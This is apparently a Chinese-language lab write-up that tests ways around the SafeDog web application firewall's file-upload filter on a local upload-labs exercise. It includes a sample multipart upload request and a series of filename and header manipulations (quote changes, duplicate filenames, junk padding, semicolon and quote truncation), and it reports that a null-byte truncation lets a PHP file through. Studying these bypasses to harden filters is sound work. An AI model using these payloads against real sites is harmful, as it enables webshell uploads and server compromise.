文件上传与安全狗

 环境搭建 #

  1. 使用phpstudy2016,因为2018不会生成apache服务
  2. 下载安全狗 —> 参考

注意,要下载apache版

漏洞防护规则可以在这里看

在网站防护—漏洞防护设置—上传防护中对文件上传进行防护

文件上传数据分析 #

前端上传页面需要指定 enctype 为 multipart/from-data 才能正常上传文件。

一个正常的文件上传数据包大致如下:

POST /upload-lab/Pass-01/index.php HTTP/1.1
Host: 192.168.111.167
User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; 
boundary=---------------------------338226918236832126084030069411
Content-Length: 986
Origin: http://192.168.111.167
Connection: close
Referer: http://192.168.111.167/upload-lab/Pass-01/index.php
Cookie: PHPSESSID=37tvo07m8lu02b0qdvefjtbua7
Upgrade-Insecure-Requests: 1

-----------------------------338226918236832126084030069411
Content-Disposition: form-data; name="upload_file"; filename="php.png"
Content-Type: image/png

<?phpxx?>

-----------------------------338226918236832126084030069411
Content-Disposition: form-data; name="submit"

上传
-----------------------------338226918236832126084030069411--
  • multipart/form-data(表示该请求是一个文件上传请求)
  • boundary 字符串:作用为分隔符,以区分 POST 数据

文件上传在数据包中可修改的地方

  • Content-Disposition:一般可更改
  • name:表单参数值,不能更改
  • filename:文件名,可以更改
  • Content-Type:文件 MIME,视情况更改
  • boundary:内容划分,可以更改

waf拦截原理 #

waf的检测主要基于如下

  • 文件名:解析文件名,判断是否在黑名单内。
  • 文件内容:解析文件内容,判断是否为webshell。
  • 文件目录权限:该功能需要主机WAF实现,比如云锁。

目前,市面上常见的是解析文件名,少数WAF是解析文件内容,比如长亭。下面内容,都是基于文件名解析,比如安全狗。

大致步骤如下:

  • 获取Request Header里的Content-Type值中获取boundary值
  • 根据第一步的boundary值,解析POST数据,获取文件名
  • 判断文件名是否在拦截黑名单内

上传测试 #

以upload-labs第一关为例,进行测试

安全狗的检测规则是只要filename中包含php关键词就拦截,不管你是文件名包含还是后缀包含敏感词都拦截

  1. 上传正常文件,但是内容为马的文件

可见并不拦截,安全狗未对文件内容进行任何的过滤

form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败。

但是filename对引号进行改动或去掉引号则会被拦截

#正常字段
Content-Disposition: form-data; name="upload_file"; filename="php.png"

#form-data词和name字段值可以加引号或者不加引号都不会影响上传,但是引号必须要成对出现,否则上传失败
Content-Disposition: form-data; name=upload_file; filename="1.png"
Content-Disposition: form-data; name='upload_file'; filename="1.png"
Content-Disposition: 'form-data'; name=upload_file; filename="1.png"
Content-Disposition: "form-data"; name=upload_file; filename="1.png"

#但是filename值如果对引号进行改动或去掉引号则会被拦截
Content-Disposition: form-data; name=upload_file; filename=2.png

如下对filename值去掉引号,被拦截

字符变异 #

变换 Content-Disposition 的值 #

某些 WAF 在解析的时候,认为 Content-Disposition 值一定是 form-data,造成绕过。其实 Content-Disposition 可以任意变换或为空。

Content-Disposition: form-d    ata; name="upload_file"; filename="1.png"
Content-Disposition: fora; name="upload_file"; filename="1.png"
Content-Disposition:name="upload_file"; filename="1.png"

如将 Content-Disposition 的值置为空也不影响正常上传

尝试绕过,失败

顺序颠倒 #

交换 name 和 filename 的顺序 #

因为规定了 Content-Disposition 必须在最前面,所以只能交换 name 和 filename 的顺序。

有的 WAF 可能会匹配 name 在前面,filename 在后面,可以导致绕过。

Content-Disposition: form-data; filename="1.php"; name="upload_file"

数据重复 #

boundary 内容重复 #

如下内容,可见上传的是第一个she.png(也不一定)

但是这两个filename只要有一个存在php关键词就会被检测。如果waf取的文件名时只取了一个就会被 Bypass。

filename 重复 #

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

数据溢出 #

boundary 字符串中加入垃圾数据 #

boundray 字符串的值可以为任何数据(有一定的长度限制),当长度达到 WAF 无法处理时,而 Web 服务器又能够处理,那么就可以绕过 WAF 上传文件

除了最后一个boundary值,其他几个boundary值都需要一致,否则会上传失败。但是如果在一个boundary值后面加个逗号隔开,就可以插入任意的数据,此时这几个boundary无需一致也不会影响上传

WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9

除了最后一个boundray,其他几个均插入一样的垃圾数据,但是无论加多少还是会被拦截!!

boundray 末尾插入垃圾数据 #

boundary 可以插入任何数据,那么就可以在 boundary 字符串末尾加入大量垃圾数据。这里还是拦截

name 与 filename 之间插入垃圾数据 #

name 与 filename 之间插入大量垃圾数据。

fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf

加多少都没用

multipart/form-data 与 boundary 之间插入垃圾数据 #

无法绕过

数据截断 #

回车换行截断 #

POST 请求头的值(不是请求头)是可以换行的,但是中间不得有空行。若 WAF 匹配文件名到换行截止,则可以绕过

拦截

分号截断 #

若 WAF 匹配文件名到分号截止,则可以绕过

Content-Disposition: form-data; name="upload_file"; filename="2.png;.php"

引号截断 #

php<5.3 单双引号截断特性。

Content-Disposition: form-data; name="upload_file"; filename="shell.jpg'.php"
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg".php"

00 截断(success) #

在 url 中 %00 表示 ascll 码中的 0 ,而 ascii 中 0 作为特殊字符保留,所以当 url 中出现 %00 时就会认为读取已结束。这里使用 [0x00] 代替 16 进制的 00 字符

Content-Disposition: form-data; name="upload_file"; filename="asd.php[0x00].jpg"

上传文件,使用 Burp 抓包,将 filename 的值改为:asd.php;.jpg

然后点击 hex,(分号的 16 进制为 0x3b)修改 16 进制内容,把 3b 改成 00:

成功绕过